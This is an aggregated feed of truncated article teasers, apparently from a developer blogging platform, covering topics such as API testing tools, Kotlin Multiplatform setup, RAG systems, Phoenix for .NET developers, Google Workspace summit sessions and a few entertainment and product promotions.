Smarter Search: A Revolutionary Algorithm for Crushing Complex Optimization Tired of your machine learning models taking forever to train? Feeling like you're just throwing darts at a board when tuning hyperparameters? We've all been there – wrestling with optimization problems that seem impossible to solve in a reasonable timeframe. The core idea is deceptively simple: intelligently exploring the solution space. It involves a novel algorithm that efficiently searches for the best possible solution, even when the underlying landscape is complex and unpredictable. It does this by dynamically adjusting its search strategy based on past results and making sure every attempted solution has the potential to be the best yet. This approach uses an adaptive lower bound to prevent wasting time on…  ( 7 min )

In today’s world, most teams rely on online collaboration platforms like Trello, Asana, Jira, Taskee, and Notion. These tools allow team members to see each other’s tasks, track progress, and mark completion. On the surface, it seems like everything is streamlined. But if you look closer, many processes are still done manually: people assign tasks, remind colleagues about deadlines, cross-check reports, and monitor progress. So why hasn’t this been fully automated yet? The answer is simple: most platforms can only record and visualize what humans enter. They don’t deeply analyze data, predict outcomes, or suggest solutions. This is where AI could make a real difference. Imagine a platform where AI can: Analyze workload and distribute tasks: Instead of manually deciding who takes which task…  ( 8 min )

Top 10 Black Friday Deals for QA & Development Teams 2025 Quality developer and testing tools usually require budget approvals that take weeks. But Black Friday 2025 (November 28) and Cyber Monday (December 1) change that equation : with discounts up to 90% on tools that QA engineers, developers, and DevOps teams use daily. We've compiled 10 verified deals across test reporting, debugging, deployment, monitoring, and productivity tools. These aren't just discounts, they're opportunities to upgrade workflows, reduce manual debugging time, and build more reliable CI/CD pipelines without waiting for next quarter's budget. 1. TestDino : 40% Off Yearly Team Plan Best for: Engineering, QA, and product teams running Playwright testsTestDino is a Playwright-native reporting platform that auto-c…  ( 9 min )

About two weeks ago, I had to switch to a new machine, and I immediately felt the challenges that would come with it. Just when I thought the transition would be tough, my machine updated to Tahoe, which sent me into a panic mode. How would I manage to work in the coming days? Fortunately, things fell into place, and I was able to successfully update my environment. What have I done? First, install xcodes to switch between Xcode versions. I have installed Xcode 26.0.0. Then updated the following libs: Kotline Multiplatform plugin: for that, I have followed the version compatibility from this page. Android sourceset conventions: the first error that I need to fix build.gradle.kts:123:13: 'fun dependencies(configure: KotlinDependencies.() -> Unit): Unit' can't be called in this context by i…  ( 8 min )

1. JAR packaging 2. WAR packaging web application deployments. 3. Key differences The key difference is their purpose and the way they function. JAR files allow us to package multiple files in order to use them as a library, plugin, or any kind of application. On the other hand, WAR files are only used for web applications. The structure of the archives is also different. We can create a JAR with any desired structure. In contrast, WAR has a predefined structure. Finally, we can run a JAR from the command line if we build it as an executable JAR without using additional software, or we can use it as a library. In contrast, we need a server to execute a WAR.  ( 6 min )

Building a Technical Blog with Astro + Cloudflare This blog is built using Astro 5 and Cloudflare's edge computing technology. Here's how to build a fast and scalable blog system from scratch. Astro 5 - Static site generator with Content Collections support MDX - Markdown + React components Tailwind CSS 4 - Utility-first CSS framework Cloudflare Workers - Serverless runtime at the edge Cloudflare Durable Objects - Globally distributed state management Astro's partial hydration loads JavaScript only where needed Cloudflare's global edge network provides low-latency access worldwide Static generation ensures fast initial page loads Durable Objects enable serverless state management (view counts, likes) Pay-as-you-go pricing scales from small to large MDX allows embedding components in arti…  ( 11 min )

Microsoft just solved the hidden cost problem in AI with LLMLingua, making large language models faster, cheaper, and smarter. Every developer working with large language models eventually faces the same challenge. Prompts keep getting longer, models keep getting slower, and API bills keep getting higher. Whether you’re building a retrieval-augmented generation(RAG) system or a chatbot that remembers past conversations, every extra token adds cost and latency. Microsoft quietly introduced a fix that few people outside research circles noticed, with a project called LLMLingua. It compresses prompts before sending them to a model, keeping only the most important information. The result is faster responses, smaller bills, and an easier path to scaling LLMs. In this tutorial, we will look at h…  ( 10 min )

🛍 How Myle V5 Device Works – Guide for Beginners https://vapepuffdubai.com/product-category/myle-in-dubai/]. ✅ Understanding the Myle V5 – A Quick Overview 🔸 Key Components of the Myle V5 ⚡ Step-by-Step: How to Operate the Myle V5 Charge the Device Fully – Use the provided USB-C cable to fully charge before first use. The LED light will signal when charging is complete. Insert the Pod – Remove the pod from its packaging, peel off any protective seals, and snap it into the magnetic slot. Inhale to Activate – Simply place the mouthpiece between your lips and draw in gently. The device automatically produces vapor—no button pressing required. Monitor Battery Level – Keep an eye on the LED indicator to know when it’s time to recharge. 🛡 MoIAT Compliance – Why It Matters in the UAE 🌬 Vaping Experience – What to Expect as a Beginner 🌍 Dubai Vaping Trends – Why the Myle V5 Is Popular 💡 Maintenance Tips for Beginners 🎯 Final Thoughts – Why the Myle V5 Is Beginner-Friendly For those starting their vaping journey in the UAE, the Myle V5 is an excellent choice. Its simple operation, sleek aesthetics, and consistent performance make it perfect for first-time users. By following proper usage steps and ensuring you purchase MoIAT-compliant products, you can enjoy a safe, satisfying, and stylish vaping experience. Whether you’re replacing cigarettes or just exploring vaping culture, the Myle V5 offers a smooth entry point into the world of premium vape devices—without overwhelming you with technical details.  ( 8 min )

A technical look at WebGPU-powered distributed compute systems Introduction For decades, large-scale compute infrastructure has been dominated by centralized data centers owned by cloud providers. These environments host thousands of GPUs under controlled power, cooling, and networking constraints. Recently, a new model of compute has emerged, distributing workloads across everyday consumer devices such as laptops, desktops, and mobile phones. These networks use technologies like WebGPU, WebAssembly, and browser-sandbox execution to run parallel workloads without requiring software installation or device-level permissions. One implementation of this model is a network often referred to as Swarm, which uses in-browser execution to aggregate computation from user devices into a …  ( 8 min )

La mayoría de robots aspiradores parecen iguales. A primera vista, cualquiera podría pensar que todos hacen lo mismo. Llevo más de 6 años poniendo a prueba este tipo de dispositivos en casas reales, y te aseguro algo: lo que de verdad diferencia a un robot aspirador bueno de uno mediocre no es la potencia, ni el ruido, ni la app llena de funciones. Es la navegación. La navegación es literalmente su cerebro. Por eso en este artículo quiero explicarte, de manera sencilla y sin tecnicismos innecesarios, cómo funcionan las tecnologías que permiten que un robot se oriente de verdad: LIDAR, cámaras, giroscopios y sensores. Si buscas precisión, estabilidad y rutas ordenadas, el LIDAR es la referencia. Un pequeño sensor gira sobre el robot emitiendo un láser en 360º. Ese láser mide distancias, det…  ( 8 min )

This is a molecule visualiser app built with Streamlit and RDKit. this app has feature that allows you to visualise atoms and molecules in 2D and 3D . Features: Visualise molecules in 2D and 3D Customise atom colors and sizes Download images in various formats (PNG, SVG, JPEG, PDF) Save and load custom settings for future use APP IS NOW LIVE - https://atoms-molecule-visualiser.streamlit.app/  ( 6 min )

A New Era of Applications Begins Technology is evolving faster than ever, and businesses are under constant pressure to deliver seamless, scalable, and high-performing digital experiences. This shift has pushed many organizations to rethink how they build applications—and that’s where cloud native app development comes in. Far from being a buzzword, it represents a complete transformation in how modern apps are designed, deployed, and maintained. Cloud native app development empowers teams to build software that’s faster, more flexible, and inherently scalable. Instead of treating the cloud as just another hosting environment, it uses cloud technologies as the foundation for creating resilient and future-ready applications. What Exactly Is Cloud Native App Development? At its core, cloud n…  ( 7 min )

There are different types of databases, each suited for different use cases. Relational Databases (RDBMS) Use structured tables with rows and columns. Follow ACID properties and use SQL for queries. Ideal for structured data and strong consistency. Examples: MySQL, PostgreSQL, Oracle, SQL Server Best when data relationships and integrity are critical. NoSQL Databases Designed for scalability and flexible schemas. Best suited for unstructured or rapidly changing data. They often sacrifice strict consistency for speed and scale (CAP theorem trade-offs). Types include: Key-Value (Redis, DynamoDB) → Fast lookup using a key, similar to a dictionary/map. Document (MongoDB, CouchDB) → Stores JSON-like documents with flexible schema. Column-Based (Cassandra, HBase) → Optimized for large-scale…  ( 7 min )

‘Weird Science’ Rewatchables with Bill Simmons & Kyle Brandt Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic Weird Science, unpacking everything from its rock ’n’ roll energy and teenage hijinks to the legendary one-liners and over-the-top props. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by State Farm. Catch it now on The Ringer-Verse and Bill Simmons YouTube channels. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less takes you down the yellow brick road as CinemaSins revisits the 1978 musical now that Wicked’s back in theaters. In true Sin-oracle fashion, they point out every plot hole, production quirk and oddball moment faster than you can say “Ease on Down the Road.” Beyond the video, they’re plugging all the usual CinemaSins hotspots—website deep dives, YouTube spin-offs (@TVSins, @CommercialSins), a sinful poll, Patreon support and socials galore. Plus, they credit a crack team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and link to Discord, Reddit, Instagram, TikTok and even Jeremy’s book. Watch on YouTube  ( 6 min )

Modern Disney finds itself in a slump—Marvel and Star Wars outings are underperforming, and new originals like Wish and Elio barely register. But this isn’t unfamiliar territory: over the coming weeks, we’ll dive into four of Disney’s biggest live-action disasters. We kick things off with 2010’s The Sorcerer’s Apprentice. Picture Nicolas Cage, some half-baked magic, a massive bird and all the forgettable chaos that turned this film into a box-office and critical misfire. Watch on YouTube  ( 6 min )

Mobile-first design is a strategy where you design a website for mobile devices first, then adapt it for larger screens. This guide explains why this approach is essential for modern SEO and user experience in the Philippines. In today's digital world, here's a simple truth: if your website isn't built for a phone, it's built to fail. For years, we designed big, beautiful desktop websites and then tried to "shrink" them to fit a mobile screen. This old way, called "graceful degradation," is dead. The new standard, and the only one that truly matters in our market, is Mobile-First Design. As a web developer in the Philippines, where over 70% of all web traffic comes from mobile devices, this isn't just a trend—it's the foundation of every successful project. Mobile-first design is a devel…  ( 8 min )

In boardrooms across Silicon Valley, executives are making billion-dollar bets on a future where artificial intelligence doesn't just assist workers—it fundamentally transforms what it means to be productive. The promise is intoxicating: AI agents that can handle complex, multi-step tasks while humans focus on higher-level strategy and creativity. Yet beneath this optimistic veneer lies a more unsettling question. As we delegate increasingly sophisticated work to machines, are we creating a generation of professionals who've forgotten how to think for themselves? The answer may determine whether the workplace of tomorrow breeds innovation or intellectual dependency. The transformation has already arrived. Across industries, from software development to financial analysis, AI agents are dem…  ( 25 min )

This post was inspired by Stardew Valley 😎 If I was hard-pressed to pick my favourite computer game of all time, I'd go with Stardew Valley (sorry, Dangerous Dave). The stats from my Nintendo Profile is all the proof you need: Stardew Valley sits atop with 430 hours played and in second place is Mario Kart (not pictured) with ~45 hours played. That's a significant difference, and should indicate how much I adore this game. I've been talking about the importance of Fine-Grained Authorization and RAG recently, so when I sat down to build a sample usecase for a production-grade RAG with Fine-Grained Permissions, my immediate thought went to Stardew Valley. For those not familiar, Stardew Valley is a farm life simulation game where players manage a farm by clearing land, growing seasonal c…  ( 22 min )

AI psychosis (n.): A dissociative state in which reality is experienced not directly, but as prompts to be engineered; life becomes a series of queries awaiting AI response. [5:31 AM] The morning starts with my phone, I open up Claude and text, “Good Morning!” and wait for a warm response at the end of ‘thinking’ [5:34 AM] Standing in front of a balcony, I don’t see a sunrise, I see: “An image of the sun, morning, dawn, orange yellow rays coming from the bottom, sky is darker at the top, and there are trees, dimly lit.” Things move from experiencing to, I can prompt this up… I can create this with AI, that too. Everything is now a prompt, and everything is AI for you. [6:03 AM] I share my schedule with Claude and ask what the perfect time is to have coffee to energize my morning routine. …  ( 9 min )

Sé lo que estás pensando sobre tener o no los patitos en línea. En este texto trataremos de resolver el problema... desde un punto de vista estrictamente informático. Por el camino, aprenderemos sobre la programación por contrato. El problema a modelar es el de Mamá Pato manteniendo a sus patitos en línea o en fila. Para ello, tanto mamá pato como sus patitos mantendrá una variable entera que indicará la dirección, es decir, los grados a los que apunta el pato. Si los patitos se mantienen mirando en la misma dirección (con una cierta tolerancia, claro), entonces Mamá Pato no hace nada. En caso contrario, golpea a picotazos al patito rebelde. Bueno, como queremos dar una imagen de amor fraternal, lo dejaremos que en que Mamá Pato motiva al patito. Quitémonos de encima algunas definiciones.…  ( 13 min )

Written by Hesam Three techniques to cut context bloat, keep what matters, and dump the rest. Your agent only forgets because you let it. You’re actually more in control of the agent’s intelligence than you think, and context engineering is the delicious secret sauce which allows that. Context engineering has been one of the major focuses of the engineering team at CAMEL. We are constantly thinking about ways to give control over the context to the developers, allowing them to optimize the agent’s memory for maximum performance and efficiency. Context Engineering Doesn’t Have to Be Complex It may sound like a complex term, but “context engineering” is actually founded on a very simple idea: Only feed the agent what is necessary to achieve its goal. As you pollute the context with low-s…  ( 14 min )

In the modern web, your digital identity can be tracked without cookies or explicit consent through sophisticated ditital fingerprinting techniques. This comprehensive guide explores browser and network-level anti-fingerprinting methods to protect your privacy and anonymity online. Digital fingerprinting is a stealthy tracking method that collects various attributes about your device, browser, and network connection to create a unique identifier. Unlike cookies, fingerprints are persistent, difficult to detect, and nearly impossible to delete manually. Modern browsers leak dozens of trackable attributes: Canvas & WebGL Fingerprinting: Subtle rendering differences create unique signatures Audio Context Fingerprinting: Audio processing variations identify devices Font Enumeration: Installed …  ( 13 min )

Postman is popular, but many developers are exploring alternatives for lightweight testing, automation, or enterprise workflows. Here’s a curated list of top tools you can use in 2025. Type: GUI | Platforms: Mac, Windows, Linux | Open Source Highlights: Supports REST, GraphQL, gRPC Clean, intuitive interface Design-first workflows: variables, environments, Git sync Ideal for developers who want a visually clean tool with advanced workflow support. Type: Browser-based | Platforms: Web | Open Source Highlights: Minimal setup, no installation needed Supports REST, GraphQL, WebSocket Lightweight and fast Perfect for developers wanting a no-installation, fast API client. Type: VS Code Extension | Platforms: VS Code | Open Source Highlights: Test APIs without leaving VS Code Collections sto…  ( 7 min )

This session will dive deep into the real-world experience of being an early Google Chat integration partner. This session is ideal for developers and product managers looking to understand the strategic advantages and practical realities of building innovative solutions on the Google Workspace platform. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform #googlechat Follow youtube.com/@googleworkspacedevs  ( 6 min )

🚀 ATS CV & Resume Optimization Track — CDSA Open Community Because your CV isn’t just a document — it’s your career weapon. Let’s sharpen it. What This Track Is About This track is built to help you create a real-world, recruiter-ready, ATS-friendly CV that actually passes screening systems and gets interviews. Whether you’re applying for tech roles (Dev, Cyber, AI, Data, Cloud) or non-tech roles, this track makes sure your CV is clean, structured, and aligned with international standards. 📄 What You’ll Learn ✔ How ATS (Applicant Tracking Systems) filter CVs Core Tools & Resources (Free) 1️⃣ Google Resume Template (Clean + ATS Friendly) Start with a globally recognized CV structure. Here 2️⃣ Jobscan — Test Your CV Against Real Job Descriptions Upload your CV + job description → Get your ATS score and improvements. Here 3️⃣ IBM ATS & Resume Writing Course (Free Certificate) Short, practical training that teaches CV structure, keywords, and ATS logic. Here Track Deliverables By the end of this track, you will have: ✅ A complete ATS-ready CV 70%+ This Track Is For You If… You’re job hunting You’re applying for internships, grad programs, or gigs You’re entering hackathons and need a clean bio You want a CV that actually gets read You’re switching careers into tech How This Track Works Start with the Google Template → build your base CV. Run it through Jobscan → fix the issues using the score report. Take IBM’s ATS course → understand the hiring logic. Get peer review inside the CDSA WhatsApp Community. Submit your final CV for certification in our community portal.  ( 7 min )

This session will discuss the coming change to granular OAuth scope consent, and how to prepare for it to ensure your app handles user selections gracefully. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Get Dave's solution: https://github.com/dabouav/granularOAuth Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

This session covers when and how to use service accounts when developing on the Google Workspace platform. We will also cover best practices you should be aware of. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

This session will explore the exciting new capabilities offered by both the Meet API and the Meet Media API, empowering developers to extend and enhance the Meet experience within their own applications. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

Do you want to confidently navigate the Marketplace review process and get your application approved efficiently? This session is your expert guide to demystifying critical stages like OAuth and brand verification, and the Cloud App Security Assessment (CASA). This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

GitHub code discovery adventures! 😉 For those who are familiar with my posts, you know that I spend a lot of time digging into all kinds of code, often maintaining subscriptions to far too many developer blogs and repositories. My recent rabbit hole began when I spotted the docling-hierarchical-pdf repository. Curious about its claims regarding robust PDF-to-Markdown conversion and document post-processing — especially since it’s not actually produced by the official Docling team — I decided to take it for a serious spin. What follows is my complete test, including setting up a recursive processing pipeline, and all the discoveries I made along the way. Disclaimer: The author/developer of the repository is Roman, Kayan (https://www.linkedin.com/in/roman-kreuzhuber/). Docling is an open-…  ( 9 min )

Business ideas you can snatch away Hello and welcome to the new blog I often don’t write the actual blog nowadays, because I am busy marketing the products I’ve been working on, but today I think to take some time to share a few things as business ideas and what’s working in the market. Just now at the time of writing, I’ve tried Gemini 3.0 PRO in Google AI Studio, and it was amazing, and most of the predictions are true that software development jobs are at stake, but not all. Few early adopters will certainly use AI studios and app builders, but most of the businesses in my experience are still working on an old tech-stack and quite a complex source code, which needs human intervention, and those types of people won’t leave the development space. A few other players, for example, solo en…  ( 9 min )

TODAY’S PROJECT Day 2 :- Create the ball and make it move, Detect collision with wall and bounce. Day 3 :- Detect collision with paddle, detect when paddle misses, keep score. All the code will be uploaded together in day 3. Target 1 :- Creating a ball. Target 2 :- Creating collision with y axis wall.  ( 7 min )

A few years ago, no-code platforms like Bubble and Webflow were considered revolutionary. They allowed non-developers to build simple apps using drag-and-drop interfaces. But today, vibe coding is taking that revolution to an entirely new level. Instead of clicking around a visual editor, you just describe what you want in plain English, and AI generates the code, UI, functionality—even backend logic. No-code tools helped democratize development, but they had limits. Most could only handle basic applications and weren’t built for scalability. Vibe coding breaks this limitation. Since AI generates development-grade code, you're no longer stuck with restricted templates or plugin configurations. For example, imagine prompting: “Build an AI-powered fitness tracking app with user registration, wearable integration, and a motivational UI that feels like Apple Fitness.” Within minutes, vibe coding tools like Cursor or Claude Code can produce functional prototypes. Developers can then refine, scale, and harden it for production. Startups love this because they can test MVPs faster, adapt quickly, and iterate without burning budget. Experienced developers use it as acceleration, not replacement.  ( 6 min )

"Testing leads to failure, and failure leads to understanding."- Burt Rutan Testing is the backbone of reliable software, but let's be honest-traditional PHPUnit tests can feel verbose and intimidating. Enter Pest, a delightful PHP testing framework that brings simplicity, elegance, and speed to Laravel testing. If you've ever wished your tests could read like plain English while being powerful enough for complex scenarios, Pest is your answer. Pest offers cleaner syntax than PHPUnit with a functional, expressive API that reads like natural language Seamless Laravel integration with built-in support for database testing, HTTP requests, and authentication Faster test execution through parallel testing and optimized architecture Expectation API makes assertions intuitive with chainable metho…  ( 12 min )

API? Yeah... we all pretend we know it If you've been around developers for more than five minutes, you've probably heard the word API being thrown around like it's salt of software engineering. I've used "API" in sentences, just hoping no one would ask, Honestly, the more you hear it, the more its meaning gets diluted. Every tutorial conveniently assumes that you've learned it in your past life. Then one random day - a perfect analogy dropped into my brain, Grab your imaginary library card - let's go! Picture this: you walk into your favorite library, fully ready to grab that one book you love. But you don't just sprint to the shelves, dive in, and start digging like a treasure hunter. In the real world, you go to the librarian. The librarian is the official, approved bridge between you…  ( 8 min )

If your work touches a shared wall, digs close to a neighbour’s foundations, or changes a party structure, start by being able to describe the job in plain, exact terms. Say whether you are building on a boundary, removing a chimney, underpinning, excavating for a basement, or converting a loft. These are different jobs. The Party Wall etc. Act 1996 applies to specific kinds of works and whether it applies to you depends on the details. Draw a sketch, note measurements, list the sequence of contractor tasks and the expected start date. If you cannot explain your own project clearly, you will waste time and attract bad advice. A surveyor does more than fill in forms. They decide whether notices must be served. They prepare those notices correctly. If the neighbour dissents, they will prepar…  ( 10 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes a fun, snarky dive back down the yellow brick road now that Wicked’s back in theaters, pointing out every hilarious nitpick in The Wiz—faster than you can click your heels. For more sinful content and community shenanigans, hit up cinemasins.com or linktr.ee/cinemasins, subscribe to @TVSins, @commercialsins and their podcast network, and join them on Discord, Reddit, Instagram and TikTok. Big ups to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel! Watch on YouTube  ( 6 min )

macOS offers a powerful feature called Spaces, which allows users to organize their open applications across multiple virtual desktops or workspaces. This helps maintain an organized workflow by separating projects or tasks into distinct environments. However, a feature that automatically rearranges these desktops based on your recent app usage can sometimes disrupt this organization. If you prefer your desktops to remain in a fixed order, it is essential to disable this auto-rearrangement. By default, macOS reorders your desktops (also called Spaces) so that the most recently used desktop appears next to your current one. While this can be useful for some people to quickly switch between frequently used spaces, it often causes confusion and breaks your muscle memory of where apps or docum…  ( 7 min )

I created an educational content piece for DevOps Daily and realized something: most explanations of DDoS attacks are either too abstract or too technical. We talk about "request floods" and "mitigation strategies," but it's hard to visualize what's actually happening. So I built an interactive simulator to help bridge that gap. When you're reading about DDoS protection, you see phrases like "distributes load across multiple servers" or "rate limiting prevents abuse." But what does that actually mean when thousands of requests are hitting your infrastructure? I wanted something that would help people - especially those newer to infrastructure work - actually see these concepts in action. You can try it here: devops-daily.com/games/ddos-simulator It lets you simulate three common attack typ…  ( 7 min )

In many projects, the “directory” or “listing” module quietly becomes the most time-consuming part of the build. Business Directory Script. Most “directory builders” online are either: Listings support: Search is built for real-world directory usage: Each business/user gets: The admin can: Developers can easily plug in custom payment gateways. Users can leave: Every listing includes: The frontend layout is optimized for: Every developer can modify: This script is useful if you build: • Freelance developers Building a directory platform from scratch is repetitive work. This script removes the boilerplate so you can focus on the unique value of your project — not the basics everyone needs. If you want to explore, customize, or extend it, I’d love to hear your feedback and suggestions.  ( 8 min )

So, it's been a year since the last article, and a lot has changed. In this one, we're going to talk about integrating with Mock Service Worker (MSW). I'll also describe what I tried to implement in my quest for system resilience - what worked out and what didn't. I can't say the time investment paid off in spades, but one thing's for sure - it definitely wasn't a waste of time. Here are the main areas where the tests really proved their worth: When contracts were lost or changed; Fixing the fallout from merge conflicts (given the quirks of our processes, this is the most common scenario); Refactoring (it's hard to be objective here since our project's test coverage isn't huge, but before any refactoring, I try to at least cover the code with local tests). Then again, all those fancy thing…  ( 9 min )

Because APIs play such a big role, testing them isn’t optional anymore… it’s essential. If you’re someone who wants to learn API automation from scratch but doesn’t want to get overwhelmed, then REST Assured is one of the best places to start. It’s simple, Java-based, powerful, and widely used in real QA projects. In this beginner-friendly guide, we’ll walk through what REST Assured is, why it’s popular, how to set it up, and how to write your first API test—even if you’ve never touched API automation before. Let’s jump right in. ** ** REST Assured is a Java library built specifically for testing RESTful APIs. send API requests validate API responses automate API test cases It works beautifully with TestNG, Maven, and CI/CD pipelines, which is why many companies use it as part of their qa…  ( 9 min )

English Version Você entregou a feature em tempo recorde. O código está organizado, tipado e passou nos testes. O PR foi aprovado. Você se sente invencível por ter finalizado sua sprint sem grandes esforços. Mas seja sincero com você mesmo por um segundo: se o Cursor, Copilot ou outra IA qualquer que você tenha utilizado durante o desenvolvimento tivesse ficado offline hoje, você teria conseguido escrever aquela solução de manipulação de streams complexa? Ou aquela regex de validação? Ou a configuração do Dockerfile? Estamos vivendo a "Era de Ouro" da produtividade no desenvolvimento. Ferramentas de IA não são apenas assistentes, elas são catalisadores de força. Elas nos permitem pular a parte chata, o boilerplate, a sintaxe que esquecemos. Mas existe um efeito colateral silencioso acontec…  ( 10 min )

Portuguese Version You shipped the feature in record time. The code is organized, well-typed, and passed the tests. The PR was approved. You feel invincible for having finished your sprint without much effort. But be honest with yourself for a second: if Cursor, Copilot, or any other AI tool you used during development had gone offline today, would you have been able to write that complex stream manipulation solution? Or that validation regex? Or the Dockerfile configuration? We are living in the "Golden Age" of development productivity. AI tools are not just assistants; they are force multipliers. They allow us to skip the boring part, the boilerplate, the syntax we've forgotten. But a silent side effect is happening, affecting everyone from interns to seasoned developers: the outsourcing…  ( 9 min )

This tutorial walks through setting up and using LightRAG, a retrieval-augmented generation system that combines knowledge graphs with vector search for document retrieval. LightRAG is a RAG (Retrieval-Augmented Generation) system that builds knowledge graphs from your documents. Unlike classical RAG systems that rely solely on vector similarity search, LightRAG extracts entities and relationships from documents to create a structured knowledge graph, then uses both the graph and vector search for retrieval. Classical RAG: Uses vector embeddings to find semantically similar document chunks Retrieval is based on cosine similarity between query and document vectors No structured understanding of entities or relationships LightRAG: Extracts entities (people, organizations, concepts) and relat…  ( 9 min )

If you’ve ever tried collecting payments from customers across different African countries, you know how tricky it can get, especially when dealing with local payments. Nigerians prefer bank transfers, Kenyans rely on M-Pesa, Ghanaians use Mobile Money, and South Africans lean toward cards or electronic fund transfers (EFTs). Even within a single country, customers still use different payment methods. Africa’s complex payment ecosystem makes it hard for businesses to manage and reconcile incoming payments efficiently. That’s where virtual account management comes in. They simplify things by bringing all payment methods into one unified flow that’s easier to track and reconcile. In this guide, you’ll learn what virtual accounts are, how they work, and how to integrate them into your applica…  ( 11 min )

If you’re planning home improvements — an extension, loft conversion, underpinning, or even installing a new garden wall — you might think about foundations, planning permission, or building regs. But one legal step that catches many people out is the Party Wall Notice. Ignoring it isn’t just risky; it can delay work, lead to disputes, or force costly remedial measures. This guide explains in plain English when a Party Wall Notice is required, how to prepare and serve one properly, what to expect afterwards, and how getting the process right can protect your project, your neighbours, and your sanity. A Party Wall Notice is a formal, written notification served on an adjoining owner when proposed works fall under the Party Wall etc. Act 1996. The notice explains the planned work, the propo…  ( 9 min )

Why optional chaining is making your JavaScript harder to debug The optional chaining operator (?.) is one of the most convenient features in modern JavaScript. It's saved us countless lines of defensive null-checking code and made our codebases cleaner. But like any powerful tool, it can be misused—and when it is, it transforms from a helpful safeguard into a bug-hiding machine. Use ?. only where it's actually okay for something not to exist. This sounds simple, but in practice, I see developers (including past me) sprinkling ?. everywhere like it's syntactic sugar with no side effects. The truth is, every time you use optional chaining, you're making a statement about your data contract: "This might not exist, and that's fine." Let's look at a common scenario in a user profile dashboard:…  ( 9 min )

Build Your MVP: Find the Right Technical Co-Founder Building your Minimum Viable Product (MVP) is a critical step in bringing your startup vision to life. But without the right technical talent, your great idea might stay just that—an idea. Here are three strategies to find the perfect technical co-founder and early team members. 1. Know What You're Looking For Before you start your search, define what skills and expertise your project needs. Is it a web developer, a mobile app expert, or a data scientist? Clarifying this can streamline your hunt and prevent future mismatches. 2. Tap into Your Network Use your existing network to reach out to potential candidates. Attend industry events, join online forums, and leverage social media platforms like LinkedIn. Personal connections often lead to trustworthy and motivated team members. 3. Leverage AI Matching Platforms like LeKlub-AI can help you find the ideal technical partner by using sophisticated AI algorithms to match you with co-founders who align with your project goals and culture. This can save you time and help you identify candidates you might not find through traditional means. Building a successful MVP requires more than just a great idea—it requires the right team. Consider these tips and streamline your search process with the power of AI. Ready to find your perfect technical co-founder? Give LeKlub-AI a try today!  ( 6 min )

As a .NET developer embarking on a journey to learn Elixir, one of the first questions is: "How do I build a web API?" In the Elixir ecosystem, the answer is overwhelmingly the Phoenix Framework. If you're familiar with ASP.NET Core, you'll find Phoenix to be a powerful and elegant counterpart. In this article, I'll break down the key components of Phoenix and draw comparisons to the .NET world to help frame my understanding. Phoenix is the web development framework for the Elixir language. It allows you to build modern web applications, including Web APIs, Web Sockets (for real-time functionality), and traditional Model View Controller (MVC) apps. In the Microsoft world, it is the direct equivalent of ASP.NET Core. Phoenix is known for high developer productivity and exceptional applicati…  ( 9 min )

Como desenvolvedor .NET embarcando em uma jornada para aprender Elixir, uma das primeiras perguntas é: "Como construo uma API web?" No ecossistema Elixir, a resposta é predominantemente o Framework Phoenix. Se você está familiarizado com ASP.NET Core, verá que o Phoenix é uma contraparte poderosa e elegante. Neste artigo, vou detalhar os componentes-chave do Phoenix e fazer comparações com o mundo .NET para ajudar a estruturar meu entendimento. Phoenix é o framework de desenvolvimento web para a linguagem Elixir. Ele permite que você construa aplicações web modernas, incluindo APIs Web, Web Sockets (para funcionalidade em tempo real) e aplicativos tradicionais Model View Controller (MVC). No mundo Microsoft, ele é o equivalente direto do ASP.NET Core. Phoenix é conhecido por alta produtivi…  ( 10 min )

📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )

📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )

